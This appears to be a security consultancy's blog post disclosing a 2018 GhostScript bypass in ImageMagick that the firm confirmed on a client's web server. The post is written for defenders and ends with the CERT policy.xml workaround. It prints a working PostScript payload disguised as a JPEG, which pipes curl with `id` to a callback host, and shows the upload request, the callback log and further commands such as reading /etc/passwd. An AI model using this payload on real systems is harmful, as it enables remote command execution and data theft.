GhostScript RCE Bypass in ImageMagick: Exploiting Insecure Defaults via PostScript Upload
A newly disclosed GhostScript bypass allowed attackers to execute OS commands through ImageMagick’s default PostScript handling. In this post, we walk through how the exploit works, how we confirmed it in the wild within 24 hours, and the remediation steps required to mitigate the risk.
Introduction
A new bypass for GhostScript, which ImageMagick uses by default for handling PostScript, was posted yesterday, allowing attackers to execute rm commands. This is similar in nature to the ImageTragick bug, which plagued ImageMagick: image files containing PostScript were sent to ImageMagick, and when converted, launched commands against the OS.
As part of our continuous security efforts for our clients, we monitor for vulnerabilities that could affect them and confirm with clients when they are affected. This was one of those times.
We discovered one of our clients was vulnerable to this exploit. We wrote up the issue and submitted it to them within 24 hours of it being released to the public, and they were able to fix it in minutes.
Security Details / Walkthrough
One of our clients uses ImageMagick to convert images, creating thumbnails for their website.
The following payload was used as an image upload across all the upload functions on the dev website:
Filename: test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
From previous testing with the client, we already knew which OS the application was running on, so we were okay using curl. While testing, we started with an nslookup call, since it's available on both Windows and Linux. We then uploaded this POC file to the client's website.
The upload request looks something like the following:
POST /file HTTP/1.1
Host: www.helloworld.com
...snip...
Connection: close
-----------------------------184561271817366
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
-----------------------------184561271817366--
Which gave back the following response:
HTTP/1.1 400 Bad Request
...snip...
Connection: close
{"errors":{"image":"Image is not valid"}}
The error didn’t seem to matter, as you’ll see in a moment.
On our server, we watched the logs for the curl command coming from the client's web server, waiting to see whether the user’s ID was included in the URL and whether we received any calls at all. After trying many different upload functions, here is the response we received:
GET /www-data HTTP/1.1
User-Agent: curl/7.35.0
Host: callback.softwaresecured.com
Accept: */*
Success! We have remote command execution on the client's web server, and the user running the web service is “www-data”. Other commands that worked included:
- uname -a
- cat /etc/passwd
- nslookup
Luckily for the client, when we tried to cat the /etc/shadow file on the server, we received no data back. This means they run the web service as a lower-privileged user.
Dangers of insecure defaults and Remediation
As of the writing of this post, there is no one official fix. That being said, there is an official workaround. It’s advised to update the policy.xml file, which configures ImageMagick. The following is taken from the post on www.kb.cert.org:
Disable PS, EPS, PDF, and XPS coders in ImageMagick policy.xml
ImageMagick uses Ghostscript by default to process PostScript content. ImageMagick can be controlled via the policy.xml security policy to disable the processing of PS, EPS, PDF, and XPS content. For example, this can be done by adding these lines to the <policymap> section of the /etc/ImageMagick/policy.xml file on a RedHat system:
- <policy domain="coder" rights="none" pattern="PS" />
- <policy domain="coder" rights="none" pattern="EPS" />
- <policy domain="coder" rights="none" pattern="PDF" />
- <policy domain="coder" rights="none" pattern="XPS" />
Timeline
- Tue, 21 Aug 2018 05:46:26 -0700: Vulnerability Published
- Wednesday, 22 Aug 2018 11:21:00 -0500: Vulnerability confirmed on client website
- Wednesday, 22 Aug 2018 12:26:00 -0500: Vulnerability published to client
- Wednesday, 22 Aug 2018 13:08:00 -0500: Vulnerability fixed on all servers
References
https://www.kb.cert.org/vuls/id/332928
http://openwall.com/lists/oss-security/2018/08/21/2
https://www.imagemagick.org/script/security-policy.php
https://twitter.com/simps0n/status/1031922379256160256
.avif)


